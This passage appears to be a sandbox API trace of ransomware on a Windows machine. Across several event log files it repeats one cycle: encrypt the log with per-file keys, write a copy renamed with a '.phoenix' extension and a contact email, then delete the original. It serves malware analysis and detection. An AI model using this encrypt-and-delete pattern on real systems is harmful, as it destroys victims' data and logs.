	[0220.272] CryptEncrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x110100, dwBufLen=0x110100 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x110100) returned 1
	[0220.292] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x110100, lpOverlapped=0x0) returned 1
	[0220.311] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xf00, lpOverlapped=0x0) returned 1
	[0220.311] CryptEncrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xf10, dwBufLen=0xf10 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xf10) returned 1
	[0220.311] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf10, lpOverlapped=0x0) returned 1
	[0220.311] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0220.311] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.311] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0220.311] CryptDestroyKey (hKey=0x151740) returned 1
	[0220.311] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0220.311] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0220.311] CloseHandle (hObject=0x2c8) returned 1
	[0220.311] CloseHandle (hObject=0x2c4) returned 1
	[0220.796] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1
	[0220.798] SetEvent (hEvent=0x278) returned 1
	[0220.798] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0220.798] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0220.836] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0220.836] CloseHandle (hObject=0x2c4) returned 1
	[0220.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0220.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.836] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0220.837] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.837] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.837] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0220.837] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0220.837] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.837] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0220.901] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0220.901] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0220.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0220.904] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.904] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0220.904] CryptDestroyKey (hKey=0x151040) returned 1
	[0220.904] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0220.904] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0220.904] CloseHandle (hObject=0x2c4) returned 1
	[0220.904] CloseHandle (hObject=0x2d4) returned 1
	[0220.909] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1
	[0220.910] SetEvent (hEvent=0x278) returned 1
	[0220.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0220.910] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0220.911] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0220.911] CloseHandle (hObject=0x2d4) returned 1
	[0220.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0220.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.911] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0220.911] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.911] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.911] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0220.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151780) returned 1
	[0220.912] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.912] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0220.928] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0220.928] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0220.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0220.931] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.931] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0220.931] CryptDestroyKey (hKey=0x151100) returned 1
	[0220.931] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0220.931] CryptDestroyKey (hKey=0x151780) returned 1
	[0220.931] CloseHandle (hObject=0x2d4) returned 1
	[0220.931] CloseHandle (hObject=0x2c4) returned 1
	[0220.933] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1
	[0220.934] SetEvent (hEvent=0x278) returned 1
	[0220.934] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0220.934] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0220.935] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0220.961] CloseHandle (hObject=0x2c4) returned 1
	[0220.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20
	[0220.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.961] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0220.961] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.961] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.961] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0220.964] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0220.964] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.964] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0220.974] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0220.974] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0220.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151240) returned 1
	[0220.977] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.977] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0220.977] CryptDestroyKey (hKey=0x151240) returned 1
	[0220.977] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0220.977] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0220.977] CloseHandle (hObject=0x2c4) returned 1
	[0220.977] CloseHandle (hObject=0x2d4) returned 1
	[0220.980] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1
	[0220.982] SetEvent (hEvent=0x278) returned 1
	[0220.982] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0220.982] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0220.982] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0220.982] CloseHandle (hObject=0x2d4) returned 1
	[0220.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0220.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0220.983] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0220.983] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.983] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0220.983] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0220.984] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0220.984] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0220.984] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.107] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.108] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0221.110] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.110] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0221.110] CryptDestroyKey (hKey=0x151280) returned 1
	[0221.110] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0221.110] CryptDestroyKey (hKey=0x151500) returned 1
	[0221.110] CloseHandle (hObject=0x2d4) returned 1
	[0221.110] CloseHandle (hObject=0x2c4) returned 1
	[0221.115] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1
	[0221.116] SetEvent (hEvent=0x278) returned 1
	[0221.116] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0221.117] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.117] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0221.117] CloseHandle (hObject=0x2c4) returned 1
	[0221.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0221.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.117] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0221.117] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.117] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0221.117] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0221.118] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0221.118] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.118] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.203] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0221.203] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0221.205] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0221.205] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0221.205] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0221.205] CryptDestroyKey (hKey=0x151440) returned 1
	[0221.205] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0221.205] CryptDestroyKey (hKey=0x151140) returned 1
	[0221.205] CloseHandle (hObject=0x2c4) returned 1
	[0221.206] CloseHandle (hObject=0x2d4) returned 1
	[0221.208] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1
	[0221.210] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
